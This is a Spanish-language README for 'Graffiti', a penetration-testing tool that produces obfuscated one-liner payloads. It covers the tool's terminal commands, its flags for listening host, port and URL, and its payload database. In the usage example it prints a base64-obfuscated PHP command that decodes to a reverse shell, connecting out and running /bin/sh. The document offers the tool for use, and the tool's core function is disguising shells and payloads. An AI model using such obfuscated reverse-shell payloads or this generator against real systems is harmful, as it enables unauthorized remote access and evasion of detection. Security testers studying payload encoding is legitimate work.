
Una herramienta para generar comandos de una línea ofuscados para ayudar en pruebas de penetración.

Graffiti es una herramienta para generar oneliners ofuscados para ayudar en situaciones de pruebas de penetración. Graffiti acepta los siguientes lenguajes para codificar:
Graffiti también aceptará un lenguaje que no esté actualmente en la lista y almacenará el oneliner en una base de datos.
Graffiti viene completo con una base de datos que insertará cada payload codificado en ella, con el fin de permitir a los usuarios finales ver payloads ya creados para uso futuro. Los payloads se pueden codificar usando las siguientes técnicas:
Algunas características de Graffiti incluyen:
Graffiti viene con una terminal integrada. Cuando no pasas ninguna bandera al programa, se abre la terminal. La terminal tiene historial, capacidad de ejecutar comandos externos y sus propios comandos internos. Para obtener ayuda, solo tienes que escribir help o ?:
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
no se han pasado argumentos, abriendo terminal escribe `help/?` para obtener ayuda, todos los comandos que se encuentran dentro de `/bin` están disponibles en la terminal
root@graffiti:~/graffiti# ?
Comando Descripción
--------- --------------
help/? Muestra esta ayuda
external Lista los comandos externos disponibles
cached Muestra todos los payloads que ya están en la base de datos
list/show Lista todos los payloads disponibles
search <frase> Busca un payload específico
use <payload> <codificador> Usa este payload y codifícalo usando un codificador específico
info <payload> Obtén información sobre un payload específico
check Buscar actualizaciones
history Muestra el historial de comandos
exit/quit Sale de la terminal y de la sesión en ejecución
encode <tipo-de-script> <codificador> Codifica un payload proporcionado
root@graffiti:~/graffiti# help
Comando Descripción
--------- --------------
help/? Muestra esta ayuda
external Lista los comandos externos disponibles
cached Muestra todos los payloads que ya están en la base de datos
list/show Lista todos los payloads disponibles
search <frase> Busca un payload específico
use <payload> <codificador> Usa este payload y codifícalo usando un codificador específico
info <payload> Obtén información sobre un payload específico
check Buscar actualizaciones
history Muestra el historial de comandos
exit/quit Sale de la terminal y de la sesión en ejecución
encode <tipo-de-script> <codificador> Codifica un payload proporcionado
Graffiti también viene con argumentos de línea de comandos para cuando necesites un payload codificado rápidamente:
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
optional arguments:
-h, --help show this help message and exit
-c CODEC, --codec CODEC
specify an encoding technique (*default=None)
-p PAYLOAD, --payload PAYLOAD
pass the path to a payload to use (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (*default=None)
-l, --list list all available payloads by path (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
pass your own personal payload to use for the encoding
(*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
pass a listening address to use for the payload (if
needed) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (*default=None)
-u URL, --url URL pass a URL if needed by your payload (*default=None)
-vC, --view-cached view the cached data already present inside of the
database
-H, --no-history do not store the command history (*default=True)
-W, --wipe wipe the database and the history (*default=False)
--memory initialize the database into memory instead of a .db
file (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
pass more external commands, this will allow them to
be accessed inside of the terminal commands must be in
your PATH (*default=None)
Codificar un payload es tan simple como esto:
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
Una demostración de Graffiti se puede encontrar aquí:
En cualquier sistema Linux, Mac o Windows, Graffiti debería funcionar sin problemas sin necesidad de instalar paquetes externos. Si deseas instalar Graffiti como ejecutable en tu sistema (debes estar ejecutando Linux o Mac para que funcione correctamente), solo tienes que hacer lo siguiente:
./install.sh
Esto instalará Graffiti en tu sistema y te permitirá ejecutarlo desde cualquier lugar.
Si encuentras un error o problema, por favor crea un issue con detalles aquí y ¡gracias de antemano!